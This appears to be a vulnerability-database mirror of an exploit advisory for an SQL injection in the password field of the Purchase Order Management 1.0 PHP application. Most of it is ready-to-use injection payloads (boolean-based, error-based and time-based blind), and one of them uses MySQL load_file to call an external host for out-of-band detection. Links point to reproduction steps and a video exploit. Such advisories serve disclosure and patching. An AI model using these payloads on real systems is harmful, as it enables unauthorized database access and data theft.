Lucene search
K

Purchase Order Management 1.0 SQL Injection Vulnerability

🗓️ 06 Mar 2023 00:00:00Reported by nu11secur1tyType 
zdt
 zdt
🔗 0day.today👁 291 Views

Purchase Order Management 1.0 SQL Injection Vulnerability. Vendor: sourcecodester.com. High vulnerability-Critical. Payload submitted in password parameter calls MySQL's load_file function with an external URL reference

Code
## Title: Purchase Order Management-1.0 - SQLi
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `password` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvik.stupid.com\\aej'))+'
was submitted in the password parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.

STATUS: HIGH Vulnerability - CRITICAL

[+]Payload:
```mysql
---
Parameter: password (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=pwKLHXbY&password=-4290') OR 6172=6172 AND ('XovE'='XovE

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(select
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'')
OR (SELECT 8766 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT
(ELT(8766=8766,1))),0x7162767871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('dncG'='dncG

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(select
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'')
AND (SELECT 7405 FROM (SELECT(SLEEP(3)))pVNf) AND ('fltf'='fltf
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0/SQLi)

## Proof and Exploit:
[href](https://streamable.com/w173zp)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation